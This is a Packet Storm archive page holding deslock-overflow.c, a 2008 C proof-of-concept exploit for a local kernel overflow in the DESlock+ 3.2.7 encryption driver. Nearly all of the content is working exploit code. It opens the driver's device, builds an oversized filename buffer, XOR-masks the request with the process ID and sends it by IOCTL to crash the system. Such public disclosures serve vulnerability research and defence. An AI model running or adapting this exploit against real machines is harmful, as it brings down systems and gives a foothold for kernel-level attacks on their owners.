exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

deslock-overflow.c

deslock-overflow.c
Posted Sep 20, 2008
Authored by mu-b | Site digit-labs.org

DESlock+ versions 3.2.7 and below local kernel overflow proof of concept exploit.

tags | exploit, overflow, kernel, local, proof of concept
SHA-256 | 8beb788ab58e64d09723299b23349716f368a91d73ba5cd050071ef8073e8673

deslock-overflow.c

Change Mirror Download
/* deslock-overflow.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* DESlock+ <= 3.2.7 local kernel overflow POC
* by mu-b - Sat 23 Feb 2008
*
* - Tested on: DLMFENC.sys 1.0.0.28
*
* http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
* - I wonder what that says about CESG CCTM?
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG 0xC001D00D
#define DLMFENC_BUZ_SZ 0x1000

#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
int flag;
int req_num;
void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
DWORD i, pid;
PCHAR ptr;

pid = GetCurrentProcessId ();
for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
*ptr ^= pid;
}

int
main (int argc, char **argv)
{
struct ioctl_req req;
CHAR buf[DLMFENC_BUZ_SZ + 128];
HANDLE hFile;
BOOL result;
DWORD rlen;

printf ("DESlock+ <= 3.2.7 local kernel overflow PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

fflush (stdout);
hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

buf[0] = 'C'; /* drive letter */
memset (&buf[1], 0x41, sizeof buf - 1); /* filename */
buf[sizeof buf - 1] = '\0';

memset (&req, 0, sizeof req);
req.flag = DLMFENC_FLAG;
req.req_num = 0x05;
req.arg[0] = (void *) buf;
sleep (2000);

xor_mask_req (&req);
result = DeviceIoControl (hFile, DLMFENC_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!result)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}

printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

CloseHandle (hFile);

return (EXIT_SUCCESS);
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close